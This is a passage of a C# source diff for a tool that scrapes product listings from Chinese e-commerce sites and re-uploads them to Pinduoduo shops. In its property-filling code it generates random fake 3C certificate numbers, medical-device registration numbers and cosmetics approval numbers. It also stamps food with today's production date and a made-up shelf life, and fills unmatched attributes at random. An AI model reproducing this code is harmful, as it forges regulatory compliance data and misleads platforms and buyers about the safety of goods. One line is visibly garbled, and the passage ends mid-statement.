+ if (!ok) + { + if (mdType.name.Contains("面料俗称")) + { + codeTemp = + ",{\"template_pid\":46543,\"template_module_id\":10053,\"pid\":7,\"vid\":10348,\"value\":\"\",\"value_unit\":\"\"}," + + "{\"template_pid\":46545,\"template_module_id\":10053,\"pid\":16,\"vid\":10571,\"value\":\"\",\"value_unit\":\"\"}," + + "{\"template_pid\":46546,\"pid\":56,\"vid\":14504,\"value\":\"\",\"value_unit\":\"\"}"; + } + else + { + var m = mdType.Values.Find(mm => mm.value == "其他"); + if (m == null) + { + m = mdType.Values.Find(mm => mm.value == "棉"); + if (m == null && mdType.Values.Count > 0) + m = mdType.Values[0]; + if (m == null) + { + codeTemp = + ",{\"template_pid\":50936,\"template_module_id\":12662,\"pid\":16,\"vid\":10629,\"value\":\"\",\"value_unit\":\"\"}"; + } + else + { + codeTemp = + ",{\"template_pid\":" + mdType.template_pid + ",\"template_module_id\":" + mdType.template_module_id + ",\"pid\":" + mdType.pid + ",\"vid\":" + m.value + ",\"value\":\"\",\"value_unit\":\"\"}"; + codeTemp += + ",{\"template_pid\":" + mdType.template_pid + ",\"template_module_id\":" + mdType.template_module_id + ",\"pid\":56,\"vid\":14504,\"value\":\"\",\"value_unit\":\"\"}"; + + } + } + else + { + codeTemp = + ",{\"template_pid\":" + mdType.template_pid + ",\"template_module_id\":" + mdType.template_module_id + ",\"pid\":" + mdType.pid + ",\"vid\":" + m.value + ",\"value\":\"\",\"value_unit\":\"\"}"; + } + + } + } + code += codeTemp; + } + + + try + { + for (int i = 0; i < pc.Prop.Count; i++) + { + var p = pc.Prop[i]; + if (p.Key.Contains("品牌") || p.Key.Contains("型号")) + continue; + for (int j = 0; j < md.Count; j++) + { + if (p.Key == md[j].name || p.Key == md[j].name_all || + p.Key.Contains("证书编号") && (md[j].name.Contains("证书编号") || md[j].name.Contains("认证证书"))) + { + bool get = false; + if (p.Key.Contains("证书编号")) + { + code += ",{\"template_pid\":" + md[j].template_pid + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + ",\"vid\":0,\"value\":\"" + + p.Value + "\",\"value_unit\":\"\"}"; + md.RemoveAt(j); //匹配成功则删除 + j--; + continue; + } + if (md[j].template_pid == 53996) + md[j].value_type = 0; + if (md[j].value_type == 1) //文本型 + { + if (",30419,28189,".Contains("," + md[j].template_pid + ",")) + { + for (int k = 0; k < md[j].Values.Count; k++) + { + if (md[j].Values[k].value != p.Value) + continue; + code += ",{\"template_pid\":" + md[j].template_pid + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + ",\"vid\":" + + md[j].Values[k].vid + ",\"value\":\"\",\"value_unit\":\"\"}"; + } + } + else + { + if (md[j].template_pid == 33103) + md[j].value_unit = "L"; + if (md[j].template_pid == 33163) + md[j].value_unit = "W"; + if (md[j].template_pid == 51489) + md[j].value_unit = "g"; + code += ",{\"template_pid\":" + md[j].template_pid + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + + ",\"vid\":0,\"value\":\"" + + (string.IsNullOrEmpty(md[j].value_unit) + ? p.Value + : p.Value.Replace(md[j].value_unit, "")) + + "\",\"value_unit\":\"" + md[j].value_unit + "\"}"; + } + + get = true; + + } + if (md[j].value_type == 0) + { + bool had = false; + for (int k = 0; k < md[j].Values.Count; k++) + { + if (md[j].Values[k].value.ToLower() == p.Value.ToLower()) + { + code += ",{\"template_pid\":" + md[j].template_pid + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + ",\"vid\":" + + md[j].Values[k].vid + ",\"value\":\"\",\"value_unit\":\"" + + md[j].Values[k].p_unit + "\"}"; + had = true; + get = true; + break; + } + } + if (!had && p.Value.Contains("、")) + { + string[] vs = p.Value.Split('、'); + for (int l = 0; l < vs.Length; l++) + { + if (string.IsNullOrEmpty(vs[l])) + continue; + for (int k = 0; k < md[j].Values.Count; k++) + { + if (md[j].Values[k].value.ToLower() == vs[l].Trim().ToLower()) + { + code += ",{\"template_pid\":" + md[j].template_pid + + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + ",\"vid\":" + + md[j].Values[k].vid + ",\"value\":\"\",\"value_unit\":\"" + + md[j].Values[k].p_unit + "\"}"; + md[j].Values.RemoveAt(k); + get = true; + had = true; + break; + } + } + } + } + if (!had) + { + int k = Randomx.GetId(0, md[j].Values.Count); + code += ",{\"template_pid\":" + md[j].template_pid + ",\"template_module_id\":" + + md[j].template_module_id + ",\"pid\":" + md[j].pid + ",\"vid\":" + + md[j].Values[k].vid + ",\"value\":\"\",\"value_unit\":\"" + + md[j].Values[k].p_unit + "\"}"; + } + } + if (get) + { + md.RemoveAt(j); //匹配成功则删除 + j--; + } + } + } + } + //未匹配成功的必填项 + for (int i = 0; i < md.Count; i++) + { + if (!md[i].must || code.Contains(":" + md[i].pid + ",")) + continue; + if (md[i].pid == 93) //产地 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 59) //3C证书 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":59,\"vid\":0,\"value\":\"" + Randomx.GetId(2000, 2017) + + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999) + + "\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 40) //充电器 + { + int vid = 78213; + if (md[i].Values.Count > 0) + vid = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":40,\"vid\":" + vid + + ",\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 67) //功率w + { + int vid = 78213; + if (md[i].Values.Count > 0) + vid = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":67,\"vid\":\"" + vid + + "\",\"value\":\"\",\"value_unit\":\"W\"}"; + continue; + } + if (md[i].pid == 95) //电流类型 + { + int vid = 24825; + if (md[i].Values.Count > 0) + vid = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":95,\"vid\":" + vid + + ",\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 96) //个人护理 + { + int vid = 28237; + if (md[i].Values.Count > 0) + vid = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":96,\"vid\":" + vid + + ",\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 316) //纸尿片 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":316,\"vid\":0,\"value\":\"其他\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 317) //纸尿片 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":317,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 40) //热水袋 + { + int vid = 57495; + if (md[i].Values.Count > 0) + vid = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":40,\"vid\":" + vid + + ",\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 57) //食品生产日期 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":57,\"vid\":0,\"value\":\"" + + DateTime.Today.ToString("yyyy-MM-dd") + + "\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 58) //食品保质期 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":58,\"vid\":0,\"value\":\"300\",\"value_unit\":\"天\"}"; + continue; + } + if (md[i].pid == 59) //3C证书 + { + code += ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":" + md[i].pid + ",\"vid\":0,\"value\":\"" + + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 92) //医疗器械 + { + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":92,\"vid\":0,\"value\":\"Z" + + Randomx.GetId(10000000, 99999999) + Randomx.GetId(1, 9) + "\",\"value_unit\":\"\"}"; + continue; + } + if (md[i].pid == 0) + { + } + + int vidx = 0; + if (md[i].Values.Count > 0) + vidx = md[i].Values[Randomx.GetId(md[i].Values.Count)].vid; + code += + ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":" + md[i].pid + ",\"vid\":" + vidx + + ",\"value\":\"\",\"value_unit\":\"\"}"; + continue; + } + if (code.Contains("\"pid\":93,") && !code.Contains("\"pid\":59,")) + { + code += + ",{\"template_pid\":33052,\"template_module_id\":7185,\"pid\":59,\"vid\":0,\"value\":\"" + + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}"; + } + for (int i = 0; i < md.Count; i++) //强制匹配可选项目 + { + if (code.Contains(md[i].template_pid.ToString())) + continue; + var s = + md[i].Values.Find( + m => m.value == "其他" || m.value == "其它" || m.value == "通用" || m.value == "中国大陆"); + if (s != null) + { + code += ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":" + md[i].pid + ",\"vid\":" + + s.vid + ",\"value\":\"\",\"value_unit\":\"" + + s.p_unit + "\"}"; + continue; + } + if (md[i].name == "化妆品批准文号") + { + code += ",{\"template_pid\":" + md[i].template_pid + ",\"template_module_id\":" + + md[i].template_module_id + ",\"pid\":" + md[i].pid + ",\"vid\":" + + 0 + ",\"value\":\"国妆特字G201" + Randomx.GetId(10000, 99999) + + "\",\"value_unit\":\"\"}"; + } + + } + if (",8496,".Contains(catId.ToString()))//属性材质 + { + if (!code.Contains("53201")) + code += + ",{\"template_pid\":53201,\"template_module_id\":13191,\"pid\":7,\"vid\":10348,\"value\":\"\",\"value_unit\":\"\"}"; + code += + ",{\"template_pid\":53202,\"template_module_id\":13191,\"pid\":16,\"vid\":10571,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":53203,\"pid\":56,\"vid\":14499,\"value\":\"\",\"value_unit\":\"\"}"; + } + + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + return code; + } + + public static void GetDefaultProperties() + { + string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/config&act=get_default_properties&" + UserLogin.GetSignaturex("", ""); + string html = GetHtml.PostUtf8(url, ""); + if (html.Contains("Not Key")) + { + Thread.Sleep(3000); + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/config&act=get_default_properties&" + UserLogin.GetSignaturex("", ""); + html = GetHtml.PostUtf8(url, ""); + } + var sm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+?}"); + for (int i = 0; sm != null && i < sm.Count; i++) + { + string orderItem = sm[i].Groups[0].Value; + string key = BaseRegex.GetStringJson(ref orderItem, "name"); + string value = BaseRegex.GetStringJson(ref orderItem, "value"); + DefaultProperties.Add(key,value); + } + } + public static string GetMonth() + { + string result = DateTime.Now.Year + "年冬季"; + int mm = DateTime.Now.Month; + if (mm >= 3 && mm <= 5) + result= DateTime.Now.Year + "年春季"; + if (mm >= 6 && mm <= 8) + result= DateTime.Now.Year + "年夏季"; + if (mm >= 9 && mm <= 11) + result= DateTime.Now.Year + "年秋季"; + return result; + } + } + + public class ModelBase + { + public List cats = new List(); + public int template_pid; + public int template_module_id; + public int pid; + public int show_type; + public string name; + public string name_all; + public bool must; + public int choose_max_num; + public string value_unit; + public int value_type; + public List Values = new List(); + public ModelBase Clone() + { + string html = JsonHelper.SerializeObject(this); + ModelBase tp = JsonHelper.DeserializeJsonToObject(html); + return tp; + } + } + public class ContentBase + { + public int id; + public int vid; + public string value; + public string p_unit; + } + public class Node + { + public Node(int item) + { + this.id = item; + this.next = null; + } + public Node() + { + this.id = 0; + this.next = null; + } + public int id; + public Node next; + } + public class LinkList + { + public Node head { set; get; } + /// + /// 求单链表的长度 + /// + /// + public int GetLength() + { + Node p = head; + int length = 0; + while (p != null) + { + p = p.next; + length++; + } + return length; + } + public bool IsEmpty() + { + if (head == null) + return true; + else + return false; + } + public void Append(int item) + { + Node temp = new Node (item); + Node current= new Node(); + if (head == null) + { + head = temp; + return; + } + current= head; + while (current.next != null) + { + current = current.next; + } + current.next = temp; + } + /// + /// 获得当前位置单链表中结点的值 + /// + /// 结点位置 + /// + public Node GetNodeValue(int i) + { + if (IsEmpty() || i < 1 || i > GetLength()) + { + return null; + } + + Node A = new Node (); + A = head; + int j = 1; + while (A.next != null && j < i) + { + A = A.next; + j++; + } + return A; + } + public void Insert(int item, int n) + { + if (IsEmpty() || n < 1 || n > GetLength()) + { + return; + } + if (n == 1) //增加到头部 + { + Node H = new Node(item); + H.next = head; + head = H; + return; + } + + Node A = new Node(); + Node B = new Node(); + B = head; + int j = 1; + while (B.next != null && j < n) + { + A = B; + B = B.next; + j++; + } + + if (j == n) + { + Node C = new Node(item); + A.next = C; + C.next = B; + } + } + public void Dispaly() + { + Node A = new Node(); + A = head; + while (A != null) + { + //Console.WriteLine(A.Data); + A = A.next; + } + } + + } + +} diff --git a/Work/Api/UploadPinduoduoSet.cs b/Work/Api/UploadPinduoduoSet.cs new file mode 100644 index 0000000..2e51190 --- /dev/null +++ b/Work/Api/UploadPinduoduoSet.cs @@ -0,0 +1,3577 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using AllBase; +using Work.CollectClass; +using Work.ManageClass; +using JavaScriptEngineSwitcher.V8; +using JavaScriptEngineSwitcher.Core; +using System.Linq; +using System.Diagnostics; +using Newtonsoft.Json.Linq; +using System.Collections.Specialized; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using System.IO.Compression; +using NaiBa.Util.Extension; + +namespace Work.Api +{ + public class UploadPinduoduoSet + { + /// + /// 是否对微店转换数据取整(尾数为1,2,3,4取5,尾数为6,7,8,9取10) + /// + public static bool IsRounding = false; + public static Dictionary CatTemp = new Dictionary(); + public static Dictionary ImageTemp = new Dictionary(); + public static Dictionary picsTemp = new Dictionary(); + public ShopChatBase Shop; + public TaobaoProductBase t; + public TaobaoProductBase us = null; + public bool FullToday = false, Punish = false, Success = false; + /// + /// 上货时使用代理获取拼多多上家商品 + /// + public static bool IsUseProxyCollectUp = true; + + /// + /// 中间数据 + /// + public ProductCollectBase pb = new ProductCollectBase(); + public string Name; + public UploadPinduoduoSet(ShopChatBase shop, string name, TaobaoProductBase T) + { + Shop = shop; + Name = name; + t = T; + } + + public void Get() + { +#if DEBUG + + Getx(); + Thread.Sleep(1000); +#else + try + { + Getx(); + Thread.Sleep(2000); + } + catch (Exception e) + { + LogSave.Add(Name, "上传商品" + t.FromId + "错误:" + e.Message); + } +#endif + } + + public byte[] imageByte = null; + public long goodsId = 0; + + Dictionary picUped = new Dictionary(); + public void Getx() + { + if (!string.IsNullOrEmpty(t.ViPrice) && string.IsNullOrEmpty(t.ViPriceMaxMin)) + { + LogSave.Add(Name, Shop.Name + " 版本升级不支持老数据格式,请重新制作新格式数据,跳过 " + t.FromId + " "); + return; + } + string imageUrlx = ""; + //if (ImgDic.Count == 0) + // new Thread(CutImage).Start(); + string beforeTitle = ""; + while (UploadPinduoduoMain.upRunning && UploadPinduoduoMain.Waiting) + Thread.Sleep(100); + //while (UploadPinduoduoMain.RunningReplace && UploadPinduoduoMain.ReplaceWaiting) + // Thread.Sleep(100); + t.FromType = t.FromType.Replace("\"", ""); + if (t.FromType.Contains("搜款网") && t.FromId > 10) + { + char[] idc = t.FromId.ToString().ToCharArray(); + if (t.FromId.ToString().Length < t.TolerantFormId.Length) + idc = t.TolerantFormId.ToString().ToCharArray(); + string ld = idc[idc.Length - 1].ToString(); + for (int i = 1; i < idc.Length - 1; i++) + { + ld += idc[i]; + } + ld += idc[0]; + t.FromIdBak = t.FromId; + t.FromId = long.Parse(ld); + pb.from_site_id = 2; + } + + if (UploadPinduoduoMain.NoRuleIds && UploadPinduoduoMain.RuleIds.Contains(t.FromId.ToString())) + { + t.Message = "上传可能违规,跳过"; + Error("可能违规,跳过:" + t.FromId, t.Message); + return; + } + if (TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[t.FromId].Clone(); + if (t.Cat3 == 0 && t.Cat4 == 0) + { + t.Cat1 = pb.cat1; + t.Cat2 = pb.cat2; + t.Cat3 = pb.cat3; + t.CatId = pb.cat_id; + t.Cat4 = pb.cat4; + t.MainCatId = pb.main_cid; + t.MainCatName = pb.main_cat_name; + } + } + else + { + pb.cat1 = t.Cat1; + pb.cat2 = t.Cat2; + pb.cat3 = t.Cat3; + pb.cat4 = t.Cat4; + pb.cat_id = t.CatId; + pb.main_cid = t.MainCatId; + + + if (t.FromType == "拼多多" || t.FromType == "内部数据" || t.FromType == "搜款网" || t.FromType == "搜款网净化") + { + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, t, IsUseProxyCollectUp); + pp.isUseCache = UploadPinduoduoMain.isUseCache; + pp.Get(); + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + { + if (!pp.OnSale) + t.Message = pp.message; + else + t.Message = pp.message;//"IP或买手号被限制,请更换IP或检查买手号是否能正常浏览商品"; + Error("采集失败,跳过:" + t.FromId, t.Message); + if (!PinduoduoProductCollect.isProxyAvailable) + { + Error("采集失败" + t.FromId, PinduoduoProductCollect.proxymessage); + } + return; + } + } + else if (t.FromType == "阿里巴巴" || t.FromType == "1688" || t.FromType == "阿里巴巴净化") + { + pb.from_url = "https://detail.1688.com/offer/" + t.FromId + ".html"; + pb.from_id = t.FromId; + AlibabaProductGet ali = new AlibabaProductGet(pb); + ali.IsPinduoduo = true; + ali.Get(); + if (!ali.OnSale) + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + if (t.FromType == "阿里巴巴净化") + { + string jhtml = ServerTemp.GetJinHuaCache(t.FromId.ToString()); + ali.AslasyHtml(t, jhtml); + } + } + else if (t.FromType == "微店") + { + pb.from_url = "https://weidian.com/item.html?itemID=" + t.FromId + ".html"; + pb.from_id = t.FromId; + WeiDianProductCollect wd = new WeiDianProductCollect(t); + wd.Get(); + if (!wd.OnSale) + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + } + else if (t.FromType == "淘集集") + { + pb.from_url = "https://api.tjjapp.com/Api2_24_0/goods/info?goods_id=" + t.FromId; + pb.from_id = t.FromId; + TaoJiJiProductGet tjj = new TaoJiJiProductGet(pb); + tjj.IsPinduoduo = true; + tjj.Get(); + if (!tjj.OnSale) + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + } + else if (t.FromType == "京喜") //by ttzhao 2020.6.11 + { + pb.from_url = "https://item.m.jd.com/product/" + t.FromId + ".html"; + pb.from_id = t.FromId; + JingXiCollect jx = new JingXiCollect(pb); + jx.Get(); + if (jx.GoodsStatus == JingXiCollect.GoodsStatusEnum.NotExist) + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + } + else + { + pb.from_url = "https://item.taobao.com/item.htm?id=" + t.FromId; + pb.from_id = t.FromId; + if (t.TaoKeId > 0) + { + pb.up_url = "http://www.dataoke.com/item?id=" + t.TaoKeId; + } + TaobaoMobileCollect tm = new TaobaoMobileCollect(pb); + tm.Pinduoduo = true; + tm.Name = Name; + tm.Get(); + if (!tm.GetSuccess) + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + if (t.FromType == "淘宝净化") + { + string jhtml = ServerTemp.GetJinHuaCache(t.FromId.ToString()); + tm.AslasyHtml(t,jhtml); + } + } + if (TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + pb = TaobaoMobileCollect.ProductTemp[t.FromId].Clone(); + else + { + t.Message = "商品或已下架"; + Error("采集失败,跳过:" + t.FromId, t.Message); + return; + } + } + if (BaseClass.UpIds.Count > 0) + { + for (int i = 0; i < BaseClass.UpIds.Count; i++) + { + string rid = BaseRegex.GetMatchRegexString(BaseClass.UpIds[i], @"([\d]+)"); + if (string.IsNullOrEmpty(rid)) + continue; + long uid = long.Parse(rid); + if (pb.id == uid) + return; + } + } + if (pb.Props.Count>2 && UploadPinduoduoMain.isSpecCount) + { + t.Message = "此商品属性较多,官方只允许上传最多俩个属性"; + Error("此商品属性较多,官方只允许上传最多俩个属性:" + t.FromId, t.Message); + return; + } + else + { + if (pb.Props.Count > 2) + { + pb.Props = pb.Props.OrderBy(u => u.Values.Count).ToList(); + int count = pb.Props.Count - 2; + pb.Props.RemoveRange(0, count); + pb.Props = pb.Props.OrderByDescending(u => u.sort).ToList(); + } + } + if (!string.IsNullOrEmpty(pb.logisticsTime)) + { + string daystr = BaseRegex.GetMatchRegexString(ref pb.logisticsTime, @"([\d]+)"); + int day = 0; + int.TryParse(daystr, out day); + if (day/24>0) + day = day / 24; + if ((pb.logisticsTime.Contains("48小时") || pb.logisticsTime.Contains("72小时") + || pb.logisticsTime.Contains("2天") || pb.logisticsTime.Contains("3天") || pb.logisticsTime.Contains("预售") || day >= 2) + && UploadPinduoduoMain.isLogistics) + { + t.Message = "跳过发货超过24小时商品或预售商品"; + Error("跳过发货超过24小时商品或预售商品:" + t.FromId, t.Message); + return; + } + } + if (!string.IsNullOrEmpty(pb.logisticsTime)) + { + string daystr = BaseRegex.GetMatchRegexString(ref pb.logisticsTime, @"([\d]+)"); + int day = 0; + int.TryParse(daystr, out day); + if (day / 24 > 0) + day = day / 24; + if ((pb.logisticsTime.Contains("72小时")|| pb.logisticsTime.Contains("3天") || pb.logisticsTime.Contains("预售") || day >=3) + && UploadPinduoduoMain.isFourLogistics) + { + t.Message = "跳过发货超过48小时商品或预售商品"; + Error("跳过发货超过48小时商品或预售商品:" + t.FromId, t.Message); + return; + } + } + + if (UploadPinduoduoMain.JinUp) + { + bool ishas = false; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (pb.SkuMaps[i].price < UploadPinduoduoMain.minPrice) + { + ishas = true; + break; + } + if (pb.SkuMaps[i].price> UploadPinduoduoMain.maxPrice) + { + ishas = true; + break; + } + } + if (pb.SkuMaps.Count==0) + { + if (pb.discountPrice < UploadPinduoduoMain.minPrice) + { + ishas = true; + } + if (pb.discountPrice > UploadPinduoduoMain.maxPrice) + { + ishas = true; + } + } + if (ishas) + { + t.Message = "上传商品价格超过价格区间"; + Error("跳过上传商品价格超过价格区间:" + t.FromId, t.Message); + return; + } + } + if (UploadPinduoduoMain.JustFree && pb.express_price > 0) + { + t.Message = "跳过非包邮商品"; + Error("跳过非包邮商品:" + t.FromId, t.Message); + return; + } + if (pb.name.Contains("订金") || pb.name.Contains("定金") || pb.name.Contains("预售")) + { + t.Message = "预售商品"; + Error("预售商品:" + t.FromId, t.Message); + return; + } + if (BaseClass.UserVersion == 99 && (t.FromType == "拼多多" || t.FromType == "内部数据"))//|| t.FromType == "搜款网" + { + t.Message = "临时关闭"; + Error("临时关闭:" + t.FromId, t.Message); + return; + } + if (BaseClass.UserVersion != 100 && (t.FromType == "拼多多" || t.FromType == "内部数据")) + { + t.Message = "临时关闭"; + Error("临时关闭:" + t.FromId, t.Message); + return; + } + if (pb.Props.Count==3) + { + t.Message = "此商品属性较多,官方只允许上传最多俩个属性"; + Error("此商品属性较多,官方只允许上传最多俩个属性:" + t.FromId, t.Message); + return; + } + if ((t.FromType == "拼多多" || t.FromType == "内部数据" || t.FromType == "其他") && pb.Images.Count >= 8) + imageUrlx = pb.Images[7]; + if ((t.FromType == "淘宝" || t.FromType == "阿里巴巴") && pb.Images.Count >= 5) + imageUrlx = pb.Images[4]; + if (t.FromType == "京喜") //by ttzhao 2020.6.11 + imageUrlx = pb.image; + beforeTitle = pb.name; + if (!string.IsNullOrEmpty(t.TaoKeUrl)) + { + t.Titlte = pb.name; + t.Title = pb.name; + } + int beforePriceMin = Int32.MaxValue; + int beforePriceMax = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + int price = (int)(pb.SkuMaps[i].price * 100); + if (beforePriceMin > price) + beforePriceMin = price; + if (beforePriceMax < price) + beforePriceMax = price; + } + if (pb.SkuMaps.Count <= 1) + { + beforePriceMin = (int)(pb.price * 100); + beforePriceMax = beforePriceMin; + } + if (UploadPinduoduoMain.Irregularities && UploadShopControl.IrregularitiesWordFun(t.Titlte)) + { + LogSave.Add(Name, Shop.Name + " 遇到品牌数据,跳过 " + t.FromId + " 该产品..."); + Thread.Sleep(1000); + return; + } + pb.cat1 = t.Cat1; + pb.cat2 = t.Cat2; + pb.cat3 = t.Cat3; + pb.cat_id = t.CatId; + pb.cat4 = t.Cat4; + pb.main_cid = t.MainCatId; + pb.main_cat_name = t.MainCatName; + if (t.Cat3==8524) + { + FromTitleToCat.UserApi = true; + FromTitleToCat.inShop = null; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = new TaobaoProductBase(); + ft.Title = pb.name; + ft.TaobaoProduct.Titlte = pb.name; + ft.TaobaoProduct.FromId = pb.from_id; + ft.TaobaoCatId = pb.from_cat_id; + ft.JustGetCat = true; + ft.Get(); + if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0") + { + t.Cat1 = pb.cat1 = int.Parse(ft.Cat1); + t.Cat2 = pb.cat2 = int.Parse(ft.Cat2); + t.Cat3 = pb.cat3 = int.Parse(ft.Cat3); + t.Cat4 = pb.cat4 = int.Parse(ft.Cat4); + } + } + pb.from = t.FromType; + pb.from_name = pb.name; + if (!string.IsNullOrEmpty(t.Titlte) && t.Titlte.Length > 15) + pb.name = t.Titlte; + pb.name = BaseClass.SubCharLength(pb.name, 60).Replace("✅", "").Replace("◆", ""); + if (pb.name.Contains("?")) + { + t.Message = "标题中不允许出现问号(?)"; + Error("题中不允许出现问号,跳过:" + t.FromId, t.Message); + Thread.Sleep(1 * 1000); + return; + } + if (pb.Images.Count < 1) + { + t.Message = "内容图片不足"; + Error("采集失败,跳过:" + t.FromId, t.Message); + Thread.Sleep(10 * 1000); + return; + } + if (pb.content==null||!pb.content.Contains(""; + } + } + //删除固定主图 + if (UploadPinduoduoMain.DeleteMainImage && pb.Images.Count > 1 && pb.Images.Count > UploadPinduoduoMain.DeleteMainImageCut) + pb.Images.RemoveAt(UploadPinduoduoMain.DeleteMainImageCut); + if (UploadPinduoduoMain.RandDeleteImage && pb.Images.Count > 1) + pb.Images.RemoveAt(Randomx.GetId(pb.Images.Count - 1)); + if (UploadPinduoduoMain.PropImageToMain) + { + List imgs = new List(); + for (int i = 0; i < pb.Props.Count; i++) + { + for (int j = 0; j < pb.Props[i].Values.Count; j++) + { + //if (!string.IsNullOrEmpty(pb.Props[i].Values[j].image) && !imgs.Contains(pb.Props[i].Values[j].image) || string.IsNullOrEmpty(pb.Props[i].Values[j].image)) + if (string.IsNullOrEmpty(pb.Props[i].Values[j].image) || imgs.Contains(pb.Props[i].Values[j].image)) + continue; + imgs.Add(pb.Props[i].Values[j].image); + } + } + if (imgs.Count > 2) + pb.Images = imgs; + } + + for (int i = 0; UploadPinduoduoMain.RandMainImage && i < 15 && t.MainImage == 0; i++)//随机主题 + { + int i1 = new Random(Guid.NewGuid().GetHashCode()).Next(0, pb.Images.Count - 1); + int i2 = new Random(Guid.NewGuid().GetHashCode()).Next(0, pb.Images.Count - 1); + int go = new Random(Guid.NewGuid().GetHashCode()).Next(0, 100); + if (i1 == i2 || go < 60) + continue; + string imgRand1 = pb.Images[i1]; + string imgRand2 = pb.Images[i2]; + pb.Images[i1] = imgRand2; + pb.Images[i2] = imgRand1; + } + for (int i = 0; i < pb.Images.Count; i++) + { + if (string.IsNullOrEmpty(pb.Images[i])) + continue; + if (!pb.Images[i].Contains("http:") && !pb.Images[i].Contains("https:")) + pb.Images[i] = "http:" + pb.Images[i]; + if (pb.Images[i].Contains(".src")) + pb.Images[i] = pb.Images[i].Replace(".src", ""); + if (pb.Images[i].Contains("@")) + pb.Images[i] = pb.Images[i].Substring(0, pb.Images[i].IndexOf("@")); + if (pb.Images[i].Contains("?")) + pb.Images[i] = pb.Images[i].Substring(0, pb.Images[i].IndexOf("?")); + } + UpPinduoduoProduct up = new UpPinduoduoProduct(Shop, Name); + up.BuildSkuMapProps(ref pb); + + //获取缓存的图片 + + string ids = ""; + for (int i = 0; i < pb.Images.Count; i++) + { + string urlx = pb.Images[i]; + if (string.IsNullOrEmpty(urlx)) + continue; + if (urlx.Contains(".yangkeduo.com")) + continue; + long urlId = Math.Abs(BaseClass.GetLong(urlx)); + if (UploadPinduoduoMain.MainImg && picsTemp.ContainsKey(urlId)) + { + pb.Images[i] = picsTemp[urlId]; + continue; + } + if (!string.IsNullOrEmpty(urlx)) + ids += urlId + ","; + } + var mx = 